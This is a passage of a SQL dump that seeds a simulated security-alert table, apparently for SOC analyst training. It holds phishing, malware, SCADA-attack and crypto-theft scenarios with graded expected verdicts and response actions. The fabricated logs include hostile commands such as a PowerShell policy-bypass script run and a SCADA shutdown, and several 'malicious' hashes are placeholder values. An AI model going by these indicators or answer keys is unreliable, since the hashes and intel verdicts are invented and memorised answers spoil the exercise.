samples.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"malicious-example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain involved in distributing malware.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of obfuscated PowerShell commands, a malicious file hash, and connections to a known malicious IP and domain confirm this as a malware attack.\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS'),
(268, 'Phishing Email Detected', 'medium', 'Email Gateway', 'Employees report suspicious emails that appear to be from a trusted partner. Analysis of the email gateway logs reveals a phishing attempt with malicious attachments disguised as urgent documents.', 'Phishing', 'T1566.001', 1, 'Closed', 34, '{\"timestamp\":\"2023-10-08T14:23:45Z\",\"email_id\":\"abc123@example.com\",\"from\":\"partner.support@trustedpartner.com\",\"to\":\"employee@corporate.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":\"urgent_document.pdf\",\"attachment_hash\":\"3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"10.0.0.15\",\"external_ip\":\"203.0.113.45\"}', '2025-12-31 13:10:04', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"abc123@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Gateway Logs\",\"verdict\":\"suspicious\",\"details\":\"Unusual email activity detected.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware detected in attachment.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(269, 'BlackEnergy Malware Execution', 'high', 'EDR', 'After a user opens the malicious attachment, BlackEnergy malware is executed, providing the attackers with a foothold in the network. Endpoint Detection and Response (EDR) alerts on suspicious process activity linked to known malware signatures.', 'Malware', 'T1203: Exploitation for Client Execution', 1, 'Closed', 34, '{\"timestamp\":\"2023-10-05T14:23:11Z\",\"event_id\":\"987654321\",\"hostname\":\"CORP-ENDPOINT-23\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.50\",\"username\":\"jdoe\",\"malware_name\":\"BlackEnergy\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\invoice.doc\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"process_name\":\"word.exe\",\"process_id\":4321,\"alert_signature\":\"BlackEnergy Malware Execution\"}', '2025-12-31 13:10:04', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with BlackEnergy campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known BlackEnergy malware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice.doc\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in phishing campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user within the organization.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(270, 'Persistence Mechanism Established', 'high', 'EDR', 'The attackers have used BlackEnergy malware to establish persistence on the target system. This was achieved through registry modifications and the creation of scheduled tasks, which were detected as anomalies in system configurations by the EDR.', 'Persistence', 'T1053: Scheduled Task/Job, T1112: Modify Registry', 1, 'new', 34, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"persistence\",\"host_ip\":\"10.0.1.15\",\"external_ip\":\"203.0.113.45\",\"process_name\":\"schtasks.exe\",\"user\":\"compromised_user\",\"registry_key\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\BlackEnergy\",\"scheduled_task\":\"BlackEnergy Task\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\",\"file_hash\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\"}', '2025-12-31 13:10:04', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network_check\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash matches known BlackEnergy variant.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"malicious\",\"details\":\"File associated with unauthorized persistence mechanism.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_user_audit\",\"verdict\":\"suspicious\",\"details\":\"User account used in unauthorized actions.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(271, 'Lateral Movement to OT Network', 'high', 'Network Monitoring Solution', 'Network monitoring solutions detect unusual lateral movement between the IT and OT networks, indicating the attackers are attempting to access the SCADA systems controlling the power grid. A suspicious connection attempt from an internal IT network to the OT network was observed using a compromised user account.', 'Lateral Movement', 'T1071.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"10.0.0.5\",\"username\":\"jdoe\",\"event_type\":\"connection_attempt\",\"protocol\":\"SMB\",\"file_accessed\":\"\\\\\\\\OT-SERVER\\\\SCADA\\\\config.dat\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"external_attacker_ip\":\"203.0.113.55\",\"connection_status\":\"failed\",\"reason\":\"Unauthorized access attempt detected\"}', '2025-12-31 13:10:04', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address from IT network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address from OT network\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Compromised user account attempting lateral movement\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malicious hash associated with credential dumping tool\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous cyber attacks targeting critical infrastructure\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NULL', 1, 0, NULL),
(272, 'SCADA System Compromise', 'critical', 'SCADA Logs', 'Unauthorized command executions detected on SCADA systems, coinciding with a power outage. The attackers issued commands to disrupt power distribution, leading to a blackout.', 'Execution', 'T0811', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T02:45:12Z\",\"system_id\":\"SCADA-CTRL-01\",\"event_type\":\"command_execution\",\"user\":\"unauthorized_user\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.20\",\"command_executed\":\"shutdown -h now\",\"external_attacker_ip\":\"203.0.113.45\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"malicious_script.sh\"}', '2025-12-31 13:10:04', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network scan\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence feed\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP involved in previous SCADA attacks\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious script used in SCADA disruptions\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"file analysis\",\"verdict\":\"malicious\",\"details\":\"Script designed to disrupt power distribution systems\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"unauthorized_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"user audit logs\",\"verdict\":\"suspicious\",\"details\":\"User account used without authorization\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(273, 'Malware Detected: Suspicious Process Execution on Host', 'high', 'CrowdStrike', 'A suspicious process \'malware.exe\' was executed on the host \'INTERNAL-PC01\' originating from an external IP known for malicious activity. The hash of the file matches a known malware sample.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2023-10-11T14:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.5\",\"username\":\"jdoe\",\"hostname\":\"INTERNAL-PC01\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"process_name\":\"malware.exe\"}', '2025-12-31 13:30:07', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample \'Trojan.Generic\'\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The alert is a true positive as the process executed matches a known malware signature and originates from a malicious IP. Immediate action is required to contain the threat.\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS'),
(274, 'Phishing Attempt via Weaponized Job Offers', 'medium', 'Email Gateway', 'The Lazarus Group has sent a phishing email to a developer at the company, masquerading as a recruiter with a lucrative job offer. The email contains a malicious attachment designed to harvest credentials.', 'Phishing', 'T1566.001 - Spearphishing Attachment', 1, 'investigating', 34, '{\"timestamp\":\"2023-09-25T13:45:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"email_from\":\"recruiter@example.com\",\"email_to\":\"dev.user@company.com\",\"subject\":\"Exciting Job Opportunity!\",\"attachment_name\":\"JobOffer.docm\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"action\":\"Email Received\"}', '2025-12-31 13:43:07', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"recruiter@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Email domain has been reported in phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"JobOffer.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Document contains macros used for credential harvesting\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash for malicious document containing macros\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(275, 'Malicious Code Execution on Developer Systems', 'high', 'EDR', 'Malicious code executed on developer systems following a successful phishing attack, providing attackers access to the DeFi platform\'s development environment.', 'Malware', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:22:35Z\",\"event_id\":\"4567\",\"event_type\":\"process_creation\",\"user\":\"dev_user01\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"additional_info\":{\"file_path\":\"C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\"}}', '2025-12-31 13:43:07', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"dev_user01\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User account on the development system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP of the developer\'s machine.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous cyber attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"PowerShell script used to execute malicious commands.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(276, 'Establishing Persistence and Lateral Movement', 'high', 'Network Traffic Analysis', 'Attackers are using compromised credentials to move laterally within the DeFi platform\'s network, aiming to escalate privileges and maintain access across critical systems.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"10.0.0.5\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"method\":\"SMB\",\"file_transferred\":\"persistence_tool.exe\",\"hash\":\"3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\",\"action\":\"Successful Authentication\",\"protocol\":\"SMB\",\"severity\":\"High\"}', '2025-12-31 13:43:07', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network logs\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with lateral movement activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal network logs\",\"verdict\":\"internal\",\"details\":\"Critical system targeted for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"External IP known for malicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal user database\",\"verdict\":\"internal\",\"details\":\"Compromised user account used for unauthorized access.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"persistence_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware analysis\",\"verdict\":\"malicious\",\"details\":\"File used for establishing persistence within the network.\"}},{\"id\":\"artifact_6\",\"type\":\"hash\",\"value\":\"3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash lookup\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NULL', 1, 0, NULL);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(277, 'Cryptocurrency Exfiltration and Laundering', 'critical', 'Blockchain Analysis', 'The operation culminates in the transfer of $600 million worth of cryptocurrency from the DeFi platform’s wallets. The attackers employ mixer services to launder the funds, making tracking and recovery efforts challenging.', 'Exfiltration', 'T1567 - Exfiltration Over Web Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:45:30Z\",\"event_id\":\"evt-2023-cryptoxfil-004\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.0.5\",\"transaction_id\":\"0x9f1b3e91e7b8f3c4c9f1a4a3d9b7b0d6\",\"transfer_amount\":\"600000000\",\"currency\":\"USD\",\"destination_address\":\"1MixerServiceX1yZ3w4V5\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"attacker@malicious.com\",\"filename\":\"exfil_transaction_details.csv\"}', '2025-12-31 13:43:07', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known cybercrime activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Blockchain Explorer\",\"verdict\":\"malicious\",\"details\":\"Hash used in fraudulent transaction.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"attacker@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Spamhaus\",\"verdict\":\"malicious\",\"details\":\"Email linked to multiple phishing campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"exfil_transaction_details.csv\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Filename indicates potential data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(278, 'Compromised Update Detected', 'high', 'Software Update Logs', 'A malicious DLL was detected within a signed update package of the server management software. The package was distributed to users, potentially granting attackers initial access.', 'Malware', 'T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T12:34:56Z\",\"event_id\":\"update_12345\",\"update_source\":\"server_mgmt_software\",\"update_version\":\"v3.2.1\",\"affected_component\":\"lib_mgmt.dll\",\"malicious_hash\":\"e5d8870e5bdd26602c622b7e5b0f6b4c\",\"signed_cert\":\"CN=ServerMgmt, O=TrustedSoftware Inc.\",\"source_ip\":\"192.168.1.15\",\"attacker_ip\":\"203.0.113.45\",\"user\":\"admin_user\",\"filename\":\"lib_mgmt.dll\"}', '2025-12-31 13:45:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e5d8870e5bdd26602c622b7e5b0f6b4c\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of a malware distribution campaign.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"lib_mgmt.dll\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Software Repository\",\"verdict\":\"internal\",\"details\":\"Filename matches legitimate component, but altered.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Authorized user for software management.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(279, 'Execution of Malicious Code', 'high', 'Endpoint Detection and Response (EDR)', 'Once the update is installed, the malicious DLL executes its payload, allowing the attacker to establish an initial presence within the network.', 'Execution', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:47Z\",\"event_id\":\"EDR-EXEC-20231005-143\",\"hostname\":\"compromised-host-01\",\"user\":\"jdoe\",\"process_name\":\"rundll32.exe\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\malicious.dll\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"action\":\"Execute\",\"outcome\":\"Success\",\"additional_info\":\"The DLL was executed remotely via rundll32.exe, establishing a reverse shell.\"}', '2025-12-31 13:45:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by multiple engines as a trojan.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known command and control server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Local Database\",\"verdict\":\"malicious\",\"details\":\"File associated with recent compromise attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User is a legitimate employee.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(280, 'Establish Persistence', 'high', 'Intrusion Detection System (IDS)', 'An advanced persistent threat actor has set up a backdoor to maintain access to compromised systems by creating a persistent service. This allows for continued unauthorized access even if initial malware is removed.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-09-14T02:45:12Z\",\"event_id\":\"12345678\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user\":\"admin_user\",\"action\":\"establish_persistence\",\"persistence_type\":\"service_creation\",\"service_name\":\"UpdateService\",\"service_exe\":\"C:\\\\Windows\\\\System32\\\\updater.exe\",\"file_hash\":\"abc123def4567890abc123def4567890\",\"status\":\"success\"}', '2025-12-31 13:45:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with multiple APT groups.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by the attacker.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"abc123def4567890abc123def4567890\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware samples.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account used for unauthorized service creation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True 